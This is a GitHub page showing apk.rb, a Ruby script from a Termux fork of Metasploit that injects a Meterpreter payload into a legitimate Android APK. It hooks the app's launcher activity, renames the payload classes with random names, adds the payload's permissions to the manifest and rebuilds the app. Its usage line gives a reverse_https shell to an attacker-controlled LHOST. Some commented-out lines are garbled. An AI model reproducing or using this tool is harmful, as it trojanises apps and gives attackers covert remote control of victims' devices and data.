forked from Hax4us/Metasploit_termux
-
Notifications
You must be signed in to change notification settings - Fork 0
/
apk.rb
263 lines (219 loc) · 10.1 KB
/
apk.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
# -*- coding: binary -*-
require 'msf/core'
require 'rex/text'
require 'tmpdir'
require 'nokogiri'
require 'fileutils'
require 'optparse'
require 'open3'
require 'date'
class Msf::Payload::Apk
def print_status(msg='')
$stderr.puts "[*] #{msg}"
end
def print_error(msg='')
$stderr.puts "[-] #{msg}"
end
alias_method :print_bad, :print_error
def usage
print_error "Usage: #{$0} -x [target.apk] [msfvenom options]\n"
print_error "e.g. #{$0} -x messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n"
end
def run_cmd(cmd)
begin
stdin, stdout, stderr = Open3.popen3(cmd)
return stdout.read + stderr.read
rescue Errno::ENOENT
return nil
end
end
# Find a suitable smali point to hook
def find_hook_point(amanifest)
package = amanifest.xpath("//manifest").first['package']
application = amanifest.xpath('//application')
application_name = application.attribute("name")
if application_name
return application_name.to_s
end
activities = amanifest.xpath("//activity|//activity-alias")
for activity in activities
activityname = activity.attribute("targetActivity")
unless activityname
activityname = activity.attribute("name")
end
category = activity.search('category')
unless category
next
end
for cat in category
categoryname = cat.attribute('name')
if (categoryname.to_s == 'android.intent.category.LAUNCHER' || categoryname.to_s == 'android.intent.action.MAIN')
name = activityname.to_s
if name.start_with?('.')
name = package + name
end
return name
end
end
end
end
def parse_manifest(manifest_file)
File.open(manifest_file, "rb"){|file|
data = File.read(file)
return Nokogiri::XML(data)
}
end
def fix_manifest(tempdir, package, main_service, main_broadcast_receiver)
#Load payload's manifest
payload_manifest = parse_manifest("#{tempdir}/payload/AndroidManifest.xml")
payload_permissions = payload_manifest.xpath("//manifest/uses-permission")
#Load original apk's manifest
original_manifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml")
original_permissions = original_manifest.xpath("//manifest/uses-permission")
old_permissions = []
add_permissions = []
original_permissions.each do |permission|
name = permission.attribute("name").to_s
old_permissions << name
end
application = original_manifest.xpath('//manifest/application')
payload_permissions.each do |permission|
name = permission.attribute("name").to_s
unless old_permissions.include?(name)
add_permissions += [permission.to_xml]
end
end
add_permissions.shuffle!
for permission_xml in add_permissions
print_status("Adding #{permission_xml}")
if original_permissions.empty?
application.before(permission_xml)
original_permissions = original_manifest.xpath("//manifest/uses-permission")
else
original_permissions.before(permission_xml)
end
end
application = original_manifest.at_xpath('/manifest/application')
receiver = payload_manifest.at_xpath('/manifest/application/receiver')
service = payload_manifest.at_xpath('/manifest/application/service')
receiver.attributes["name"].value = package + '.' + main_broadcast_receiver
receiver.attributes["label"].value = main_broadcast_receiver
service.attributes["name"].value = package + '.' + main_service
application << receiver.to_xml
application << service.to_xml
File.open("#{tempdir}/original/AndroidManifest.xml", "wb") { |file| file.puts original_manifest.to_xml }
end
def parse_orig_cert_data(orig_apkfile)
orig_cert_data = Array[]
keytool_output = run_cmd("keytool -J-Duser.language=en -printcert -jarfile '#{orig_apkfile}'")
owner_line = keytool_output.match(/^Owner:.+/)[0]
orig_cert_dname = owner_line.gsub(/^.*:/, '').strip
orig_cert_data.push("#{orig_cert_dname}")
valid_from_line = keytool_output.match(/^Valid from:.+/)[0]
from_date_str = valid_from_line.gsub(/^Valid from:/, '').gsub(/until:.+/, '').strip
to_date_str = valid_from_line.gsub(/^Valid from:.+until:/, '').strip
from_date = DateTime.parse("#{from_date_str}")
orig_cert_data.push(from_date.strftime("%Y/%m/%d %T"))
to_date = DateTime.parse("#{to_date_str}")
validity = (to_date - from_date).to_i
orig_cert_data.push("#{validity}")
return orig_cert_data
end
def backdoor_apk(apkfile, raw_payload)
unless apkfile && File.readable?(apkfile)
usage
raise RuntimeError, "Invalid template: #{apkfile}"
end
#keytool=run_cmd("keytool")unlesskeytool!=nilraiseRuntimeError,"keytool not found. iIf it's not in your PATH, please add it."end
#jarsigner = run_cmd("jarsigner")unless jarsigner != nilraise RuntimeError, "jarsigner not found. If it's not in your PATH, please add it."end
#zipalign = run_cmd("zipalign")unless zipalign != nilraise RuntimeError, "zipalign not found. If it's not in your PATH, please add it."en
#apktool = run_cmd("apktool -version")
#unless apktool != nil
# raise RuntimeError, "apktool not found. If it's not in your PATH, please add it."
#end
# apk_v = Gem::Version.new(apktool)
#unless apk_v >= Gem::Version.new('2.0.1')
# raise RuntimeError, "apktool version #{apk_v} not supported, please download at least version 2.0.1."
#end
#Create temporary directory where work will be done
tempdir = Dir.mktmpdir
#keystore = "#{tempdir}/signing.keystore"torepass = "android"keypass = "androidkeyalias = "signing.key"orig_cert_data = parse_orig_cert_data(apkfile)orig_cert_dname = orig_cert_data[0]orig_cert_startdate = orig_cert_data[orig_cert_validity = orig_cert_data[2]
print_status "Creating signing key and keystore..\n"
#run_cmd("keytool -genkey -v -keystore{keystore} \alias #{keyalias} -storepass #{storepass} -keypass #{keypass} -keyalg RSA \-keysize 2048 -startdate '#{orig_cert_startdate}' \mm-validity #{orig_cert_validity} -dname#{orig_cert_dname}'")
File.open("#{tempdir}/payload.apk", "wb") {|file| file.puts raw_payload }
FileUtils.cp apkfile, "#{tempdir}/original.apk"
print_status "Decompiling original APK..\n"
run_cmd("apktool d -f -r --force-manifest #{tempdir}/original.apk -o #{tempdir}/original")
print_status "Decompiling payload APK..\n"
run_cmd("apktool d -f -r --force-manifest #{tempdir}/payload.apk -o #{tempdir}/payload")
amanifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml")
print_status "Locating hook point..\n"
hookable_class = find_hook_point(amanifest)
smalifile = "#{tempdir}/original/smali*/" + hookable_class.gsub(/\./, "/") + ".smali"
smalifiles = Dir.glob(smalifile)
for smalifile in smalifiles
if File.readable?(smalifile)
hooksmali = File.read(smalifile)
break
end
end
unless hooksmali
raise RuntimeError, "Unable to find hook point in #{smalifile}\n"
end
entrypoint = 'return-void'
unless hooksmali.include? entrypoint
raise RuntimeError, "Unable to find hookable function in #{smalifile}\n"
end
# Remove unused files
FileUtils.rm "#{tempdir}/payload/smali/com/metasploit/stage/MainActivity.smali"
FileUtils.rm Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/R*.smali")
package = amanifest.xpath("//manifest").first['package']
package = package + ".#{Rex::Text::rand_text_alpha_lower(5)}"
classes = {}
classes['Payload'] = Rex::Text::rand_text_alpha_lower(5).capitalize
classes['MainService'] = Rex::Text::rand_text_alpha_lower(5).capitalize
classes['MainBroadcastReceiver'] = Rex::Text::rand_text_alpha_lower(5).capitalize
package_slash = package.gsub(/\./, "/")
print_status "Adding payload as package #{package}\n"
payload_files = Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/*.smali")
payload_dir = "#{tempdir}/original/smali/#{package_slash}/"
FileUtils.mkdir_p payload_dir
# Copy over the payload files, fixing up the smali code
payload_files.each do |file_name|
smali = File.read(file_name)
smali_class = File.basename file_name
for oldclass, newclass in classes
if smali_class == "#{oldclass}.smali"
smali_class = "#{newclass}.smali"
end
smali.gsub!(/com\/metasploit\/stage\/#{oldclass}/, package_slash + "/" + newclass)
end
smali.gsub!(/com\/metasploit\/stage/, package_slash)
newfilename = "#{payload_dir}#{smali_class}"
File.open(newfilename, "wb") {|file| file.puts smali }
end
payloadhook = %Q^invoke-static {}, L#{package_slash}/#{classes['MainService']};->start()V
^ + entrypoint
hookedsmali = hooksmali.sub(entrypoint, payloadhook)
print_status "Loading #{smalifile} and injecting payload..\n"
File.open(smalifile, "wb") {|file| file.puts hookedsmali }
injected_apk = "#{tempdir}/output.apk"
#aligned_apk = "#{tempdir}/aligned.apk"
print_status "Poisoning the manifest with meterpreter permissions..\n"
fix_manifest(tempdir, package, classes['MainService'], classes['MainBroadcastReceiver'])
print_status "Rebuilding #{apkfile} with meterpreter injection as #{injected_apk} and yes it's me guys...your friend Lokesh (Hax4Us) thanx for using my tool TMUX-BUNCH \n"
print_status "Note :- this apk.rb script is written by Metasploit team (almost by my friend tim) and I am just a modifier of this script for binding payload in termux"
run_cmd("apktool b --aapt $PREFIX/bin/aapt -o #{injected_apk} #{tempdir}/original")
unless File.readable?(injected_apk)
raise RuntimeError, "Unable to rebuild apk with apktool"
end
#print_status "Signing #{injected_apk}\n"
#run_cmd("jarsigner -sigalg SHA1withRSA -digestalg SHA1 -keystore #{keystore} -storepass #{storepass} -keypass #{keypass} #{injected_apk} #{keyalias}")
#print_status "Aligning #{injected_apk}\n"
#run_cmd("zipalign 4 #{injected_apk} #{aligned_apk}")
#= File.read(aligned_apk)
run_cmd("cp #{tempdir}/output.apk $HOME/Tmux-Bunch-Reborn/unsign")
run_cmd("rm -rf #{tempdir}")
#outputapk
end
end